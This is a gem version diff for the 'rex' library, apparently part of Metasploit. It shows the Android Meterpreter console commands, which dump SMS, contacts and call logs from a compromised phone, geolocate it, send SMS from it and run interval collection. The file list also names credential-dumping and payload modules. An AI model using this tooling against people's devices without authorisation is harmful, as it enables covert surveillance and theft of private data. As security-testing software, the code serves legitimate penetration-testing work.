rex 2.0.8 → 2.0.9

Sign up to get free protection for your applications and to get access to all the features.
Files changed (151) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex.rb +1 -0
  3. data/lib/rex/arch.rb +5 -0
  4. data/lib/rex/arch/x86.rb +19 -5
  5. data/lib/rex/arch/zarch.rb +17 -0
  6. data/lib/rex/compat.rb +5 -4
  7. data/lib/rex/constants.rb +3 -1
  8. data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
  9. data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
  10. data/lib/rex/exploitation/cmdstager.rb +1 -0
  11. data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
  12. data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
  13. data/lib/rex/exploitation/egghunter.rb +1 -1
  14. data/lib/rex/google/geolocation.rb +68 -0
  15. data/lib/rex/io/bidirectional_pipe.rb +0 -4
  16. data/lib/rex/java/serialization.rb +2 -0
  17. data/lib/rex/java/serialization/decode_error.rb +11 -0
  18. data/lib/rex/java/serialization/encode_error.rb +11 -0
  19. data/lib/rex/java/serialization/model.rb +2 -0
  20. data/lib/rex/java/serialization/model/annotation.rb +3 -3
  21. data/lib/rex/java/serialization/model/block_data.rb +3 -3
  22. data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
  23. data/lib/rex/java/serialization/model/class_desc.rb +6 -6
  24. data/lib/rex/java/serialization/model/contents.rb +17 -10
  25. data/lib/rex/java/serialization/model/field.rb +12 -11
  26. data/lib/rex/java/serialization/model/long_utf.rb +3 -3
  27. data/lib/rex/java/serialization/model/new_array.rb +22 -23
  28. data/lib/rex/java/serialization/model/new_class.rb +57 -0
  29. data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
  30. data/lib/rex/java/serialization/model/new_enum.rb +5 -5
  31. data/lib/rex/java/serialization/model/new_object.rb +22 -17
  32. data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
  33. data/lib/rex/java/serialization/model/reference.rb +4 -4
  34. data/lib/rex/java/serialization/model/stream.rb +7 -7
  35. data/lib/rex/java/serialization/model/utf.rb +3 -3
  36. data/lib/rex/json_hash_file.rb +94 -0
  37. data/lib/rex/logging/log_sink.rb +1 -0
  38. data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
  39. data/lib/rex/parser/appscan_nokogiri.rb +13 -23
  40. data/lib/rex/parser/fs/ntfs.rb +10 -5
  41. data/lib/rex/parser/nmap_nokogiri.rb +3 -1
  42. data/lib/rex/parser/openvas_nokogiri.rb +70 -73
  43. data/lib/rex/parser/winscp.rb +108 -0
  44. data/lib/rex/parser/x509_certificate.rb +92 -0
  45. data/lib/rex/payloads.rb +0 -1
  46. data/lib/rex/payloads/meterpreter/config.rb +154 -0
  47. data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
  48. data/lib/rex/post/meterpreter.rb +1 -1
  49. data/lib/rex/post/meterpreter/client.rb +26 -3
  50. data/lib/rex/post/meterpreter/client_core.rb +387 -75
  51. data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
  52. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
  53. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
  54. data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
  55. data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
  56. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
  57. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
  58. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
  59. data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
  60. data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
  61. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
  62. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
  63. data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
  64. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
  65. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
  66. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
  67. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
  68. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
  69. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
  70. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
  71. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
  72. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
  73. data/lib/rex/post/meterpreter/packet.rb +29 -0
  74. data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
  75. data/lib/rex/post/meterpreter/ui/console.rb +1 -0
  76. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
  77. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
  78. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
  79. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
  80. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
  81. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
  82. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
  83. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
  84. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
  85. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
  86. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
  87. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
  88. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
  89. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
  90. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
  91. data/lib/rex/powershell.rb +62 -0
  92. data/lib/rex/powershell/command.rb +359 -0
  93. data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
  94. data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
  95. data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
  96. data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
  97. data/lib/rex/powershell/parser.rb +182 -0
  98. data/lib/rex/powershell/payload.rb +78 -0
  99. data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
  100. data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
  101. data/lib/rex/proto/dcerpc/client.rb +6 -6
  102. data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
  103. data/lib/rex/proto/http/client.rb +3 -3
  104. data/lib/rex/proto/http/client_request.rb +0 -5
  105. data/lib/rex/proto/http/response.rb +86 -0
  106. data/lib/rex/proto/ipmi/utils.rb +30 -26
  107. data/lib/rex/proto/kerberos/client.rb +1 -1
  108. data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
  109. data/lib/rex/proto/rfb/client.rb +8 -3
  110. data/lib/rex/proto/rfb/constants.rb +1 -1
  111. data/lib/rex/proto/rmi.rb +2 -0
  112. data/lib/rex/proto/rmi/decode_error.rb +10 -0
  113. data/lib/rex/proto/rmi/exception.rb +10 -0
  114. data/lib/rex/proto/rmi/model.rb +5 -0
  115. data/lib/rex/proto/rmi/model/call.rb +4 -4
  116. data/lib/rex/proto/rmi/model/call_data.rb +137 -0
  117. data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
  118. data/lib/rex/proto/rmi/model/element.rb +26 -11
  119. data/lib/rex/proto/rmi/model/output_header.rb +4 -4
  120. data/lib/rex/proto/rmi/model/ping.rb +2 -2
  121. data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
  122. data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
  123. data/lib/rex/proto/rmi/model/return_data.rb +5 -5
  124. data/lib/rex/proto/rmi/model/return_value.rb +124 -0
  125. data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
  126. data/lib/rex/proto/steam.rb +3 -0
  127. data/lib/rex/proto/steam/message.rb +125 -0
  128. data/lib/rex/proto/tftp/client.rb +35 -14
  129. data/lib/rex/random_identifier_generator.rb +2 -0
  130. data/lib/rex/ropbuilder.rb +1 -1
  131. data/lib/rex/socket/parameters.rb +9 -0
  132. data/lib/rex/socket/ssl_tcp.rb +25 -41
  133. data/lib/rex/socket/ssl_tcp_server.rb +10 -21
  134. data/lib/rex/sslscan/result.rb +20 -1
  135. data/lib/rex/text.rb +241 -55
  136. data/lib/rex/ui/output.rb +0 -3
  137. data/lib/rex/ui/subscriber.rb +0 -10
  138. data/lib/rex/ui/text/color.rb +9 -0
  139. data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
  140. data/lib/rex/ui/text/output.rb +15 -4
  141. data/lib/rex/ui/text/output/file.rb +1 -0
  142. data/lib/rex/ui/text/output/stdio.rb +0 -16
  143. data/lib/rex/ui/text/shell.rb +3 -0
  144. data/lib/rex/ui/text/table.rb +85 -19
  145. data/lib/rex/user_agent.rb +118 -0
  146. data/rex.gemspec +2 -2
  147. metadata +41 -14
  148. data/lib/rex/exploitation/powershell.rb +0 -62
  149. data/lib/rex/exploitation/powershell/parser.rb +0 -183
  150. data/lib/rex/payloads/meterpreter.rb +0 -2
  151. data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -1,17 +1,17 @@
1
1
  # -*- coding: binary -*-
2
2
  require 'rex/post/meterpreter'
3
3
  require 'msf/core/auxiliary/report'
4
+ require 'rex/google/geolocation'
5
+ require 'date'
4
6
 
5
7
  module Rex
6
8
  module Post
7
9
  module Meterpreter
8
10
  module Ui
9
-
10
11
  ###
11
12
  # Android extension - set of commands to be executed on android devices.
12
13
  # extension by Anwar Mohamed (@anwarelmakrahy)
13
14
  ###
14
-
15
15
  class Console::CommandDispatcher::Android
16
16
  include Console::CommandDispatcher
17
17
  include Msf::Auxiliary::Report
@@ -26,33 +26,111 @@ class Console::CommandDispatcher::Android
26
26
  'geolocate' => 'Get current lat-long using geolocation',
27
27
  'dump_calllog' => 'Get call log',
28
28
  'check_root' => 'Check if device is rooted',
29
- 'device_shutdown' => 'Shutdown device'
29
+ 'device_shutdown' => 'Shutdown device',
30
+ 'send_sms' => 'Sends SMS from target session',
31
+ 'wlan_geolocate' => 'Get current lat-long using WLAN information',
32
+ 'interval_collect' => 'Manage interval collection capabilities'
30
33
  }
31
34
 
32
35
  reqs = {
33
- 'dump_sms' => [ 'dump_sms' ],
34
- 'dump_contacts' => [ 'dump_contacts' ],
35
- 'geolocate' => [ 'geolocate' ],
36
- 'dump_calllog' => [ 'dump_calllog' ],
37
- 'check_root' => [ 'check_root' ],
38
- 'device_shutdown' => [ 'device_shutdown']
36
+ 'dump_sms' => ['dump_sms'],
37
+ 'dump_contacts' => ['dump_contacts'],
38
+ 'geolocate' => ['geolocate'],
39
+ 'dump_calllog' => ['dump_calllog'],
40
+ 'check_root' => ['check_root'],
41
+ 'device_shutdown' => ['device_shutdown'],
42
+ 'send_sms' => ['send_sms'],
43
+ 'wlan_geolocate' => ['wlan_geolocate'],
44
+ 'interval_collect' => ['interval_collect']
39
45
  }
40
46
 
41
47
  # Ensure any requirements of the command are met
42
- all.delete_if do |cmd, desc|
43
- reqs[cmd].any? { |req| not client.commands.include?(req) }
48
+ all.delete_if do |cmd, _desc|
49
+ reqs[cmd].any? { |req| !client.commands.include?(req) }
44
50
  end
45
51
  end
46
52
 
47
- def cmd_device_shutdown(*args)
53
+ def interval_collect_usage
54
+ print_line('Usage: interval_collect <parameters>')
55
+ print_line
56
+ print_line('Specifies an action to perform on a collector type.')
57
+ print_line
58
+ print_line(@@interval_collect_opts.usage)
59
+ end
60
+
61
+ def cmd_interval_collect(*args)
62
+ @@interval_collect_opts ||= Rex::Parser::Arguments.new(
63
+ '-h' => [false, 'Help Banner'],
64
+ '-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"],
65
+ '-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"],
66
+ '-t' => [true, 'Collect poll timeout period in seconds (default: 30)']
67
+ )
68
+
69
+ opts = {
70
+ action: nil,
71
+ type: nil,
72
+ timeout: 30
73
+ }
74
+
75
+ @@interval_collect_opts.parse(args) do |opt, idx, val|
76
+ case opt
77
+ when '-a'
78
+ opts[:action] = val.downcase
79
+ when '-c'
80
+ opts[:type] = val.downcase
81
+ when '-t'
82
+ opts[:timeout] = val.to_i
83
+ opts[:timeout] = 30 if opts[:timeout] <= 0
84
+ end
85
+ end
86
+
87
+ unless client.android.collect_actions.include?(opts[:action])
88
+ interval_collect_usage
89
+ return
90
+ end
91
+
92
+ type = args.shift.downcase
93
+
94
+ unless client.android.collect_types.include?(opts[:type])
95
+ interval_collect_usage
96
+ return
97
+ end
98
+
99
+ result = client.android.interval_collect(opts)
100
+ if result[:headers].length > 0 && result[:entries].length > 0
101
+ header = "Captured #{opts[:type]} data"
102
+
103
+ if result[:timestamp]
104
+ time = Time.at(result[:timestamp]).to_datetime
105
+ header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}"
106
+ end
107
+
108
+ table = Rex::Ui::Text::Table.new(
109
+ 'Header' => header,
110
+ 'SortIndex' => 0,
111
+ 'Columns' => result[:headers],
112
+ 'Indent' => 0
113
+ )
114
+
115
+ result[:entries].each do |e|
116
+ table << e
117
+ end
118
+
119
+ print_line
120
+ print_line(table.to_s)
121
+ else
122
+ print_good('Interval action completed successfully')
123
+ end
124
+ end
48
125
 
126
+ def cmd_device_shutdown(*args)
49
127
  seconds = 0
50
128
  device_shutdown_opts = Rex::Parser::Arguments.new(
51
129
  '-h' => [ false, 'Help Banner' ],
52
130
  '-t' => [ false, 'Shutdown after n seconds']
53
131
  )
54
132
 
55
- device_shutdown_opts.parse(args) { | opt, idx, val |
133
+ device_shutdown_opts.parse(args) do |opt, _idx, val|
56
134
  case opt
57
135
  when '-h'
58
136
  print_line('Usage: device_shutdown [options]')
@@ -62,26 +140,25 @@ class Console::CommandDispatcher::Android
62
140
  when '-t'
63
141
  seconds = val.to_i
64
142
  end
65
- }
143
+ end
66
144
 
67
145
  res = client.android.device_shutdown(seconds)
68
146
 
69
147
  if res
70
- print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
148
+ print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}")
71
149
  else
72
150
  print_error('Device shutdown failed')
73
151
  end
74
152
  end
75
-
76
- def cmd_dump_sms(*args)
77
153
 
154
+ def cmd_dump_sms(*args)
78
155
  path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
79
156
  dump_sms_opts = Rex::Parser::Arguments.new(
80
- '-h' => [ false, 'Help Banner' ],
81
- '-o' => [ false, 'Output path for sms list']
157
+ '-h' => [ false, 'Help Banner' ],
158
+ '-o' => [ false, 'Output path for sms list']
82
159
  )
83
160
 
84
- dump_sms_opts.parse(args) { | opt, idx, val |
161
+ dump_sms_opts.parse(args) do |opt, _idx, val|
85
162
  case opt
86
163
  when '-h'
87
164
  print_line('Usage: dump_sms [options]')
@@ -91,19 +168,18 @@ class Console::CommandDispatcher::Android
91
168
  when '-o'
92
169
  path = val
93
170
  end
94
- }
171
+ end
95
172
 
96
- smsList = []
97
- smsList = client.android.dump_sms
173
+ sms_list = client.android.dump_sms
98
174
 
99
- if smsList.count > 0
100
- print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
175
+ if sms_list.count > 0
176
+ print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}")
101
177
  begin
102
178
  info = client.sys.config.sysinfo
103
179
 
104
180
  data = ""
105
181
  data << "\n=====================\n"
106
- data << "[+] Sms messages dump\n"
182
+ data << "[+] SMS messages dump\n"
107
183
  data << "=====================\n\n"
108
184
 
109
185
  time = Time.new
@@ -112,8 +188,7 @@ class Console::CommandDispatcher::Android
112
188
  data << "Remote IP: #{client.sock.peerhost}\n"
113
189
  data << "Remote Port: #{client.sock.peerport}\n\n"
114
190
 
115
- smsList.each_with_index { |a, index|
116
-
191
+ sms_list.each_with_index do |a, index|
117
192
  data << "##{index.to_i + 1}\n"
118
193
 
119
194
  type = 'Unknown'
@@ -147,14 +222,14 @@ class Console::CommandDispatcher::Android
147
222
  data << "Address\t: #{a['address']}\n"
148
223
  data << "Status\t: #{status}\n"
149
224
  data << "Message\t: #{a['body']}\n\n"
150
- }
225
+ end
151
226
 
152
227
  ::File.write(path, data)
153
- print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
228
+ print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}")
154
229
 
155
230
  return true
156
231
  rescue
157
- print_error("Error getting messages: #{$!}")
232
+ print_error("Error getting messages: #{$ERROR_INFO}")
158
233
  return false
159
234
  end
160
235
  else
@@ -163,18 +238,15 @@ class Console::CommandDispatcher::Android
163
238
  end
164
239
  end
165
240
 
166
-
167
241
  def cmd_dump_contacts(*args)
168
-
169
242
  path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
170
- dump_contacts_opts = Rex::Parser::Arguments.new(
171
243
 
244
+ dump_contacts_opts = Rex::Parser::Arguments.new(
172
245
  '-h' => [ false, 'Help Banner' ],
173
246
  '-o' => [ false, 'Output path for contacts list']
174
-
175
247
  )
176
248
 
177
- dump_contacts_opts.parse(args) { | opt, idx, val |
249
+ dump_contacts_opts.parse(args) do |opt, _idx, val|
178
250
  case opt
179
251
  when '-h'
180
252
  print_line('Usage: dump_contacts [options]')
@@ -184,13 +256,12 @@ class Console::CommandDispatcher::Android
184
256
  when '-o'
185
257
  path = val
186
258
  end
187
- }
259
+ end
188
260
 
189
- contactList = []
190
- contactList = client.android.dump_contacts
261
+ contact_list = client.android.dump_contacts
191
262
 
192
- if contactList.count > 0
193
- print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
263
+ if contact_list.count > 0
264
+ print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
194
265
  begin
195
266
  info = client.sys.config.sysinfo
196
267
 
@@ -205,32 +276,28 @@ class Console::CommandDispatcher::Android
205
276
  data << "Remote IP: #{client.sock.peerhost}\n"
206
277
  data << "Remote Port: #{client.sock.peerport}\n\n"
207
278
 
208
- contactList.each_with_index { |c, index|
279
+ contact_list.each_with_index do |c, index|
209
280
 
210
281
  data << "##{index.to_i + 1}\n"
211
282
  data << "Name\t: #{c['name']}\n"
212
283
 
213
- if c['number'].count > 0
214
- (c['number']).each { |n|
215
- data << "Number\t: #{n}\n"
216
- }
284
+ c['number'].each do |n|
285
+ data << "Number\t: #{n}\n"
217
286
  end
218
287
 
219
- if c['email'].count > 0
220
- (c['email']).each { |n|
221
- data << "Email\t: #{n}\n"
222
- }
288
+ c['email'].each do |n|
289
+ data << "Email\t: #{n}\n"
223
290
  end
224
291
 
225
292
  data << "\n"
226
- }
227
-
293
+ end
294
+
228
295
  ::File.write(path, data)
229
296
  print_status("Contacts list saved to: #{path}")
230
297
 
231
298
  return true
232
299
  rescue
233
- print_error("Error getting contacts list: #{$!}")
300
+ print_error("Error getting contacts list: #{$ERROR_INFO}")
234
301
  return false
235
302
  end
236
303
  else
@@ -243,13 +310,11 @@ class Console::CommandDispatcher::Android
243
310
 
244
311
  generate_map = false
245
312
  geolocate_opts = Rex::Parser::Arguments.new(
246
-
247
313
  '-h' => [ false, 'Help Banner' ],
248
314
  '-g' => [ false, 'Generate map using google-maps']
249
-
250
315
  )
251
316
 
252
- geolocate_opts.parse(args) { | opt, idx, val |
317
+ geolocate_opts.parse(args) do |opt, _idx, _val|
253
318
  case opt
254
319
  when '-h'
255
320
  print_line('Usage: geolocate [options]')
@@ -259,7 +324,7 @@ class Console::CommandDispatcher::Android
259
324
  when '-g'
260
325
  generate_map = true
261
326
  end
262
- }
327
+ end
263
328
 
264
329
  geo = client.android.geolocate
265
330
 
@@ -278,7 +343,6 @@ class Console::CommandDispatcher::Android
278
343
  end
279
344
 
280
345
  def cmd_dump_calllog(*args)
281
-
282
346
  path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
283
347
  dump_calllog_opts = Rex::Parser::Arguments.new(
284
348
 
@@ -287,7 +351,7 @@ class Console::CommandDispatcher::Android
287
351
 
288
352
  )
289
353
 
290
- dump_calllog_opts.parse(args) { | opt, idx, val |
354
+ dump_calllog_opts.parse(args) do |opt, _idx, val|
291
355
  case opt
292
356
  when '-h'
293
357
  print_line('Usage: dump_calllog [options]')
@@ -297,12 +361,12 @@ class Console::CommandDispatcher::Android
297
361
  when '-o'
298
362
  path = val
299
363
  end
300
- }
364
+ end
301
365
 
302
366
  log = client.android.dump_calllog
303
367
 
304
368
  if log.count > 0
305
- print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
369
+ print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}")
306
370
  begin
307
371
  info = client.sys.config.sysinfo
308
372
 
@@ -317,23 +381,21 @@ class Console::CommandDispatcher::Android
317
381
  data << "Remote IP: #{client.sock.peerhost}\n"
318
382
  data << "Remote Port: #{client.sock.peerport}\n\n"
319
383
 
320
- log.each_with_index { |a, index|
321
-
384
+ log.each_with_index do |a, index|
322
385
  data << "##{index.to_i + 1}\n"
323
-
324
386
  data << "Number\t: #{a['number']}\n"
325
387
  data << "Name\t: #{a['name']}\n"
326
388
  data << "Date\t: #{a['date']}\n"
327
389
  data << "Type\t: #{a['type']}\n"
328
390
  data << "Duration: #{a['duration']}\n\n"
329
- }
391
+ end
330
392
 
331
393
  ::File.write(path, data)
332
394
  print_status("Call log saved to #{path}")
333
395
 
334
396
  return true
335
397
  rescue
336
- print_error("Error getting call log: #{$!}")
398
+ print_error("Error getting call log: #{$ERROR_INFO}")
337
399
  return false
338
400
  end
339
401
  else
@@ -342,14 +404,13 @@ class Console::CommandDispatcher::Android
342
404
  end
343
405
  end
344
406
 
345
-
346
407
  def cmd_check_root(*args)
347
408
 
348
409
  check_root_opts = Rex::Parser::Arguments.new(
349
410
  '-h' => [ false, 'Help Banner' ]
350
411
  )
351
412
 
352
- check_root_opts.parse(args) { | opt, idx, val |
413
+ check_root_opts.parse(args) do |opt, _idx, _val|
353
414
  case opt
354
415
  when '-h'
355
416
  print_line('Usage: check_root [options]')
@@ -357,26 +418,123 @@ class Console::CommandDispatcher::Android
357
418
  print_line(check_root_opts.usage)
358
419
  return
359
420
  end
360
- }
421
+ end
361
422
 
362
423
  is_rooted = client.android.check_root
363
424
 
364
425
  if is_rooted
365
426
  print_good('Device is rooted')
366
- elsif
427
+ else
367
428
  print_status('Device is not rooted')
368
429
  end
369
430
  end
370
431
 
432
+ def cmd_send_sms(*args)
433
+ send_sms_opts = Rex::Parser::Arguments.new(
434
+ '-h' => [ false, 'Help Banner' ],
435
+ '-d' => [ true, 'Destination number' ],
436
+ '-t' => [ true, 'SMS body text' ],
437
+ '-dr' => [ false, 'Wait for delivery report' ]
438
+ )
439
+
440
+ dest = ''
441
+ body = ''
442
+ dr = false
443
+
444
+ send_sms_opts.parse(args) do |opt, _idx, val|
445
+ case opt
446
+ when '-h'
447
+ print_line('Usage: send_sms -d <number> -t <sms body>')
448
+ print_line('Sends SMS messages to specified number.')
449
+ print_line(send_sms_opts.usage)
450
+ return
451
+ when '-d'
452
+ dest = val
453
+ when '-t'
454
+ body = val
455
+ when '-dr'
456
+ dr = true
457
+ end
458
+ end
459
+
460
+ if dest.blank? || body.blank?
461
+ print_error("You must enter both a destination address -d and the SMS text body -t")
462
+ print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
463
+ print_line(send_sms_opts.usage)
464
+ return
465
+ end
466
+
467
+ sent = client.android.send_sms(dest, body, dr)
468
+ if dr
469
+ if sent[0] == "Transmission successful"
470
+ print_good("SMS sent - #{sent[0]}")
471
+ else
472
+ print_error("SMS send failed - #{sent[0]}")
473
+ end
474
+ if sent[1] == "Transmission successful"
475
+ print_good("SMS delivered - #{sent[1]}")
476
+ else
477
+ print_error("SMS delivery failed - #{sent[1]}")
478
+ end
479
+ else
480
+ if sent == "Transmission successful"
481
+ print_good("SMS sent - #{sent}")
482
+ else
483
+ print_error("SMS send failed - #{sent}")
484
+ end
485
+ end
486
+ end
487
+
488
+ def cmd_wlan_geolocate(*args)
489
+ wlan_geolocate_opts = Rex::Parser::Arguments.new(
490
+ '-h' => [ false, 'Help Banner' ]
491
+ )
492
+
493
+ wlan_geolocate_opts.parse(args) do |opt, _idx, _val|
494
+ case opt
495
+ when '-h'
496
+ print_line('Usage: wlan_geolocate')
497
+ print_line('Tries to get device geolocation from WLAN information and Google\'s API')
498
+ print_line(wlan_geolocate_opts.usage)
499
+ return
500
+ end
501
+ end
502
+
503
+ log = client.android.wlan_geolocate
504
+ wlan_list = []
505
+ log.each do |x|
506
+ mac = x['bssid']
507
+ ssid = x['ssid']
508
+ ss = x['level']
509
+ wlan_list << [mac, ssid, ss.to_s]
510
+ end
511
+
512
+ if wlan_list.blank?
513
+ print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
514
+ return
515
+ end
516
+ g = Rex::Google::Geolocation.new
517
+
518
+ wlan_list.each do |wlan|
519
+ g.add_wlan(*wlan)
520
+ end
521
+ begin
522
+ g.fetch!
523
+ rescue RuntimeError => e
524
+ print_error("Error: #{e}")
525
+ else
526
+ print_status(g.to_s)
527
+ print_status("Google Maps URL: #{g.google_maps_url}")
528
+ end
529
+ end
530
+
371
531
  #
372
532
  # Name for this dispatcher
373
533
  #
374
534
  def name
375
535
  'Android'
376
536
  end
377
-
378
537
  end
379
-
380
538
  end
381
539
  end
382
540
  end